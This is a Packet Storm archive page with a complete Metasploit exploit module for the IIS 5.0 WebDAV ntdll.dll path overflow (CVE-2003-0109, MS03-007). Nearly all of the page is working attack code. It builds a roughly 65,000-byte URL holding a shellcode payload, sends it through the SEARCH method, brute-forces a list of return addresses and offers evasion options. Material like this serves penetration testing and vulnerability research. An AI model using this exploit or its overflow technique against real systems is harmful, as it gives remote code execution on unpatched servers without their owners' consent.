Lucene search

K
packetstormH D MoorePACKETSTORM:83237
HistoryNov 26, 2009 - 12:00 a.m.

Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow

2009-11-2600:00:00
H D Moore
packetstormsecurity.com
19

0.974 High

EPSS

Percentile

99.9%

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',  
'Description' => %q{  
This exploits a buffer overflow in NTDLL.dll on Windows 2000  
through the SEARCH WebDAV method in IIS. This particular  
module only works against Windows 2000. It should have a  
reasonable chance of success against any service pack.  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2003-0109'],  
[ 'OSVDB', '4467'],  
[ 'BID', '7116'],  
[ 'MSB', 'MS03-007'],  
  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Automatic Brute Force', { } ],  
],  
'DisclosureDate' => 'May 30 2003',  
'DefaultTarget' => 0))  
  
register_evasion_options([  
OptBool.new('invalid_search_request', [false, 'Replace the valid XML search with random data', 'false']),  
  
# XXX - ugh, there has to be a better way to remove entries from an  
# enum that overwriting the evalable enum option  
OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none','hex-normal'], 'none'])  
], self.class  
)  
  
deregister_options('HTTP::junk_params', 'HTTP::header_folding')  
end  
  
def autofilter  
rport = datastore['RPORT'].to_i  
if ( rport == 139 or rport == 445 )  
rport = 80  
end  
  
true  
end  
  
def check  
url = 'x' * 65535  
xml =  
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +  
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"  
  
response = send_request_cgi({  
'uri' => '/' + url,  
'ctype' => 'text/xml',  
'method' => 'SEARCH',  
'data' => xml  
}, 5)  
  
  
if (response and response.body =~ /Server Error\(exception/)  
return Exploit::CheckCode::Vulnerable   
end  
  
# Did the server stop acceping requests?  
begin  
send_request_raw({'uri' => '/'}, 5)  
rescue  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
# verify the service is running up front  
send_request_raw({'uri' => '/'}, 5)  
  
# The targets in the most likely order they will work  
targets =  
[  
# Almost Targetted :)  
"\x4f\x4e", # =SP3  
"\x41\x42", # ~SP0 ~SP2  
"\x41\x43", # ~SP1, ~SP2  
  
# Generic Bruteforce  
"\x41\xc1",  
"\x41\xc3",  
"\x41\xc9",  
"\x41\xca",  
"\x41\xcb",  
"\x41\xcc",  
"\x41\xcd",  
"\x41\xce",  
"\x41\xcf",  
"\x41\xd0",  
]  
  
xml =  
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +  
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"  
  
if datastore['invalid_search_request'] == true  
xml = rand_text(rand(1024) + 32)  
end  
  
# The nop generator can be cpu-intensive for large buffers, so we use a static sled of 'A'  
# This decodes to "inc ecx"  
  
url = 'A' * 65516  
url[ url.length - payload.encoded.length, payload.encoded.length ] = payload.encoded  
  
targets.each { |ret|  
  
print_status("Trying return address 0x%.8x..." % Rex::Text.to_unicode(ret).unpack('V')[0])  
url[ 283, 2 ] = ret  
  
begin  
send_request_cgi({  
'uri' => '/' + url,  
'ctype' => 'text/xml',  
'method' => 'SEARCH',  
'data' => xml  
}, 5)  
handler  
rescue => e  
print_error("Attempt failed: #{e}")  
end  
  
1.upto(8) { |i|  
sleep(0.25)  
return if self.session_created?  
}  
  
if !service_running?  
print_error('Giving up, IIS must have completely crashed')  
return  
end  
}  
end  
  
# Try connecting to the server up to 20 times, with a two second gap  
# This gives the server time to recover after a failed exploit attempt  
def service_running?  
print_status('Checking if IIS is back up after a failed attempt...')  
1.upto(20) {|i|  
begin  
send_request_raw({'uri' => '/'}, 5)  
rescue  
print_status("Connection failed (#{i} of 20)...")  
sleep(2)  
next  
end  
return true  
}  
return false  
end  
  
end  
`